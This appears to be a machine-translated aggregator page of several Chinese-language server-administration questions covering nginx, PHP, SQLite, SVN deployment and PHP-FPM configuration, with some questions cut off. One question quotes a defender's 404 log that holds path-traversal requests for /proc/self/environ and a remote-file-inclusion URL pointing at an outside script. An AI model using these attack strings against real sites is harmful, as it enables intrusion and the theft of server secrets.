我们从渗透测试报告中得到反馈说我们应该关闭服务器令牌。这是阻止人们能够看到我们正在使用的 PHP 版本,并限制他们定位特定 PHP 版本的能力。
我在 nginx.conf 的 http 块下添加了以下内容:
server_tokens off;
Run Code Online (Sandbox Code Playgroud)
但是我可以使用哪些工具来检查此更改是否已生效?
要在我的Windows /Apache/PHP 设置上启用SQLite,我取消注释php.ini文件中的以下几行并重新启动 Apache:
extension=php_pdo.dll
extension=php_pdo_sqlite.dll
Run Code Online (Sandbox Code Playgroud)
现在我有一个带有Suse Linux 10.3的VPS,并且自动设置了Apache/PHP。查看php.ini文件以进行上述更改,我发现 Linux 上的情况有些不同:
extension_dir = /usr/lib/php5/extensions”,但在这个目录中只找到:
如何在此 Linux 环境中启用 SQLite?
我们有一个在我们公司开发的电子商务应用程序。它是一个相当标准的 LAMP 应用程序,我们已经断断续续地开发了大约 3 年。我们在测试域上开发应用程序,在这里我们添加新功能并修复错误等。我们的错误跟踪和功能开发都在托管的颠覆解决方案 (unfuddle.com) 中进行管理。在报告错误时,我们会在测试域上进行这些修复,然后在我们对错误已修复感到满意时将更改提交到 svn。我们遵循相同的程序添加新功能。
值得指出的是,我们的系统和应用程序在我们的服务器上的总体架构。每次开发新功能时,我们都会将此更新推广到使用我们的应用程序(始终是我们控制的服务器)的所有站点。使用我们系统的每个站点在 95% 的代码库中基本上都使用完全相同的文件。我们在每个站点中有几个文件夹,其中包含为该站点定制的文件 - css 文件/图像等。除此之外,每个站点之间的差异由每个站点数据库中的各种配置设置定义。
这将进入实际部署本身。当我们准备好推出某种更新时,我们在测试站点所在的服务器上运行一个命令。这将执行复制命令 (cp -fru /testsite/ /othersite/) 并通过每个虚拟主机强制根据修改日期更新文件。我们托管的每个附加服务器都有一个虚拟主机,我们将生产代码库同步到该虚拟主机,然后我们在该服务器上的所有站点上重复复制过程。在此过程中,我们移出我们不想被覆盖的文件,并在复制完成后将它们移回。我们的 rollout 脚本执行许多其他功能,例如应用 SQL 命令来更改每个数据库、添加字段/新表等。
我们越来越担心我们的流程不够稳定,不具备容错能力,也有点暴力方法。我们也意识到我们没有充分利用 subversion,因为我们有一个立场,即开发新功能会阻止我们推出重要的错误修复,因为我们没有使用分支或标签。我们在我们的服务器上有如此多的文件复制似乎也是错误的。我们也无法轻松地对我们刚刚推出的内容执行回滚。我们确实在每次推出之前执行差异,以便我们可以获得将要更改的文件列表,以便我们知道之后更改了什么,但回滚过程仍然存在问题。就数据库而言,我已经开始将 dbdeploy 作为一种潜在的解决方案。不过,我们真正想要的是关于如何改进文件管理和部署的一般指导。理想情况下,我们希望文件管理与我们的存储库更紧密地联系在一起,因此推出/回滚将更多地与 svn 相关联。类似于使用 export 命令来确保站点文件与 repo 文件相同。如果解决方案也可以停止我们服务器周围的文件复制,那也很好。
忽略我们目前的方法,听听其他人如何解决同样的问题会非常好。
总结...
提前致谢
编辑:
我最近阅读了很多关于使用Phing和Capistrano执行此类任务的好文章。任何人都可以提供更多关于他们的信息以及他们对这种任务的表现如何?
我正在一台机器上重新安装操作系统,该机器将用于为我们的业务托管几个应用程序。应用程序将仅限本地;来自外部客户端的访问将仅通过 VPN 进行。
之前的设置为大多数管理员使用了托管控制面板 (Plesk),我正在考虑使用另一个类似的软件进行重新安装 - 但我想我最终应该了解它是如何工作的。我可以做软件能为我做的大部分事情,但我不清楚这一切的共生关系。如果可能的话,这一切都是为了进一步远离Configuration Programmer/Programmer 领域。
我无法在任何地方找到我正在寻找的完整演练,所以我想我会提出这个问题,如果人们可以帮助我,我将用答案编辑它,并记录我的进步/陷阱。希望有一天这会帮助某人下线。
将 IUS 存储库添加到我们的包管理器
cd /tmp
wget http://dl.iuscommunity.org/pub/ius/stable/Redhat/5/x86_64/epel-release-1-1.ius.el5.noarch.rpm
rpm -Uvh epel-release-1-1.ius.el5.noarch.rpm
wget http://dl.iuscommunity.org/pub/ius/stable/Redhat/5/x86_64/ius-release-1-4.ius.el5.noarch.rpm
rpm -Uvh ius-release-1-4.ius.el5.noarch.rpm
yum list | grep -w \.ius\. # list all …Run Code Online (Sandbox Code Playgroud) 查看我的 404 日志,我注意到以下两个 URL,它们都发生了一次:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
和
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
有问题的页面library.php需要一个type具有六个不同可接受值的id变量,然后是一个变量。所以一个有效的 URL 可能是
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
并且在mysql_real_escape_string用于查询数据库之前,所有id都经过了处理。
我是菜鸟,但在我看来这两个链接都是针对 webroot 的简单攻击?
1)除了 404 之外,如何最好地防止此类事情?
2)我是否应该永久禁止负责的 IP?
编辑:也刚刚注意到这个
/library.php=http://www.basfalt.no/scripts/danger.txt
编辑 2:所有 3 次攻击的违规 IP 都216.97.231.15追溯到位于洛杉矶郊外的名为 Lunar Pages 的 ISP。
编辑 3:我决定在当地时间周五早上致电 ISP,并与我可以通过电话联系的任何人讨论该问题。我会在 24 小时左右后在此处发布结果。
编辑 4:我最后给他们的管理员发了电子邮件,他们首先回复说“他们正在调查”,然后一天后回复“现在应该解决这个问题”。没有进一步的细节,很遗憾。
我的服务器在局域网中,并通过代理服务器连接到互联网。我的 PHP 应用程序 (Drupal) 应该能够通过 PHP 代码检查更新。如何为PHP设置代理设置以使其正常运行?
注意:我知道我可以在 curl 或其他东西中设置代理设置。但情况是代码不是我的,我不想改变它。我只是想让 PHP 始终通过特定的代理设置连接到互联网。
我对我的 nginx 配置感到沮丧,所以我要求帮助编写我的配置文件,以从同一根目录的子目录中提供多个项目。这不是虚拟主机,因为它们都使用相同的主机值。也许一个例子可以澄清我的尝试:
192.168.1.1/应当成为index.php从/var/www/public/192.168.1.1/wiki/应当成为index.php从/var/www/wiki/public/192.168.1.1/blog/应当成为index.php从/var/www/blog/public/这些项目使用 PHP 并使用 fastcgi。
我目前的配置非常小。
server {
listen 80 default;
server_name localhost;
access_log /var/log/nginx/localhost.access.log;
root /var/www;
index index.php index.html;
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www$fastcgi_script_name;
include fastcgi_params;
}
}
Run Code Online (Sandbox Code Playgroud)
我已经试过各种事情alias和rewrite,但没能得到的东西正确的FastCGI的设置。这似乎应该有比写位置的块,复制更雄辩的方式root,index,SCRIPT_FILENAME,等。
任何让我朝着正确方向前进的指针都表示赞赏。
我看到了同样的问题,许多解决方案都指向添加类型处理程序,但那是针对 Apache 的。
我正在使用 Arch Linux、Nginx、PHP 和 PHP-FMP,但我无法弄清楚为什么 php 文件正在下载而不是运行。
这是我的 nginx.conf:
#user http;
worker_processes 1;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
#gzip on;
server {
listen 80;
server_name localhost;
#charset koi8-r;
#access_log logs/host.access.log main;
location / { …Run Code Online (Sandbox Code Playgroud) 我想提供发票以供下载。目前我正在使用一个简单的编号方案(invoice-01.pdf、invoice-02.pdf 等)。我知道我可以使用哈希来代替数据。
是否也可以使用 PHP 并通过不直接让用户指向它们来提供发票?
我正在尝试使用基本的 master/catch-all vhost 配置来设置我的开发 nginx/PHP 服务器,以便我可以根据需要创建无限的___.framework.loc域。
server {
listen 80;
index index.html index.htm index.php;
# Test 1
server_name ~^(.+)\.frameworks\.loc$;
set $file_path $1;
root /var/www/frameworks/$file_path/public;
include /etc/nginx/php.conf;
}
Run Code Online (Sandbox Code Playgroud)
但是,对于此设置,nginx 会响应 404 错误。我知道 nginx 和 PHP 正在工作并且有权限,因为localhost我使用的配置工作正常。
server {
listen 80 default;
server_name localhost;
root /var/www/localhost;
index index.html index.htm index.php;
include /etc/nginx/php.conf;
}
Run Code Online (Sandbox Code Playgroud)
我应该检查什么才能找到问题?这是他们正在加载的 php.conf 的副本。
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
location ~ \.php$ {
try_files $uri =404;
include fastcgi_params;
fastcgi_index index.php;
# …Run Code Online (Sandbox Code Playgroud)